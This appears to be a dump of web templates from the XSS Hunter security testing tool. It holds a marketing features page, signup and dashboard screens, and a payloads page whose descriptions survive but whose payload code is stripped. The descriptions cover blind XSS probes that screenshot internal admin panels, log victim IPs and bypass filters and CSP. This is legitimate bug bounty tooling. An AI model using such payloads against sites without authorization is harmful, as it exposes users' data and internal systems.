52 |

53 | 54 |
55 | XSS Hunter probes utilize the HTML5 canvas API to generate a full screenshot of the vulnerable page which an XSS payload has fired on. With this feature you can peak into internal administrative panels, support desks, logging systems, and other internal web apps. This allows for more powerful reports that show the full impact of the vulnerability to your client or bug bounty program. 56 |

57 |
58 | 59 |

Markup Report Generation


60 |

61 | 62 |
63 | Speaking of powerful reporting, did we mention that each XSS payload report comes with a pre-generated markdown submission for HackerOne? Collecting your bounty has never been easier. These generated reports are also compatible with other markdown-supporting platforms such as Phabricator for easy bug reporting on company ticketing systems. 64 |

65 |
66 | 67 |

XSS Payload Fire Email Reports


68 |

69 | 70 |
71 | XSS payload fires also send out detailed email reports which can be easily forwarded to the appropriate security contacts for easy reporting of critical bugs. 72 |

73 |
74 | 75 |

Custom XSS Shortdomain


76 |

77 | 78 |
79 | Upon registering for XSS Hunter you will get your own short domain for your XSS payloads which can be used on length-restricted input fields. No need to setup DNS or hosting! 80 |

81 |
82 | 83 |

Automatic Payload Generation


84 |

85 | 86 |
87 | XSS Hunter automatically generates XSS payloads for you to use in your web application security testing. 88 |

89 |
90 | 91 |

Correlated Injections


92 |

93 | 94 |
95 | Perhaps the most powerful feature of XSS Hunter is the ability to correlated injection attempts with XSS payload fires. By using an XSS Hunter compatible testing tool you can know immediately what caused a specific payload to fire (even weeks after the injection attempt was made!). 96 |

97 |
98 |

Convinced? Click Here to Sign Up!

99 |
100 |
101 |
102 |
103 | 104 | 105 | {% include footer.htm %} 106 | -------------------------------------------------------------------------------- /gui/templates/footer.htm: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /gui/templates/header.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | XSS Hunter 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 47 | 48 | -------------------------------------------------------------------------------- /gui/templates/homepage.htm: -------------------------------------------------------------------------------- 1 | {% include header.htm %} 2 | 3 | {% include navbar.htm %} 4 |
5 |

If this is how you hunt for Cross-Site Scripting (XSS)...

6 |
7 | 14 |
15 |
16 |

...you may be missing the most critical vulnerabilities!

17 |
18 |

XSS Hunter is a better way to do Cross-site Scripting.

19 |

Learn more about how XSS Hunter can help you find even blind XSS...

20 |
21 |
22 | 23 | 24 | 25 | {% include footer.htm %} 26 | -------------------------------------------------------------------------------- /gui/templates/mainapp.htm: -------------------------------------------------------------------------------- 1 | {% include header.htm %} 2 | 3 | {% include navbar.htm %} 4 | 5 |
6 | 7 | Invalid Password
8 | You entered in a bad password, don't do that too much or you'll be rate limited. 9 |
10 | 11 | 16 | 17 |
18 | 19 | Account Settings Updated Successfully!
20 | Your account settings have been updated, changes take effect immediately. 21 |
22 | 23 |
24 | 25 | Password Reset Performed Successfully
26 | If you have an account with us then we've sent a password reset message to that email address. 27 |
28 | 29 | 45 | 46 |
47 | 59 |
60 | 61 |
62 |
63 | 69 |
70 |
71 | {% include mainapp_xss_fires.htm %} 72 |
73 |
74 | {% include mainapp_collected_pages.htm %} 75 |
76 |
77 | {% include mainapp_payloads.htm %} 78 |
79 |
80 | {% include mainapp_settings.htm %} 81 |
82 |
83 |
84 |
85 | 86 | 87 | 88 | {% include footer.htm %} 89 | -------------------------------------------------------------------------------- /gui/templates/mainapp_collected_pages.htm: -------------------------------------------------------------------------------- 1 |
2 |
Collected Pages
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
Page URIOptions
13 |
14 |
15 | -------------------------------------------------------------------------------- /gui/templates/mainapp_payloads.htm: -------------------------------------------------------------------------------- 1 | - Basic XSS payload.
2 | 3 | 4 |
5 | 6 | - For use where URI's are taken as input.
7 | 8 | 9 |
10 | 11 | - For bypassing poorly designed blacklist systems with the HTML5 autofocus attribute.
12 | 13 | 14 |
15 | 16 | - Another basic payload for when <script> tags are explicitly filtered.
17 | 18 | 19 |
20 | 21 | - HTML5 payload, only works in Firefox, Chrome and Opera
22 | 23 | 24 |
25 | 26 | - HTML5 payload, only works in Firefox, Chrome and Opera
27 | 28 | 29 |
30 | 31 | - For exploitation of web applications with Content Security Policies containing script-src but have unsafe-inline enabled.
32 | 33 | 34 |
35 | 36 | - Example payload for sites that include JQuery
37 | 38 | 39 | -------------------------------------------------------------------------------- /gui/templates/mainapp_settings.htm: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 | 6 | 7 |
8 | 9 | 10 | 12 | 13 | 14 | 16 | 17 | 18 | 20 | 21 | 24 |
25 | Note: Must be used with an XSS Hunter compatible client tool, click here for an example. If you want to build your own please see our documentation. Note that injection requests are only stored for 30 days and are purged afterwards. You will still receive XSS alerts after 30 days but they won't be correlated. 26 |
27 |
28 | 29 |
30 | 34 |
35 |
36 | 37 |
38 | 91 |
92 | 93 |
94 | 95 |
96 | 97 | 98 | -------------------------------------------------------------------------------- /gui/templates/mainapp_xss_fires.htm: -------------------------------------------------------------------------------- 1 |
2 |
XSS Payload Fires
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
ThumbnailVictim IPVulnerable Page URIOptions
15 |
16 |
17 | -------------------------------------------------------------------------------- /gui/templates/navbar.htm: -------------------------------------------------------------------------------- 1 | 23 |
24 |
25 |
26 | -------------------------------------------------------------------------------- /gui/templates/signup.htm: -------------------------------------------------------------------------------- 1 | {% include header.htm %} 2 | 3 | {% include navbar.htm %} 4 | 9 |
10 |
11 | 37 |
38 |
39 | 40 | 41 | 42 | 43 | {% include footer.htm %} 44 | --------------------------------------------------------------------------------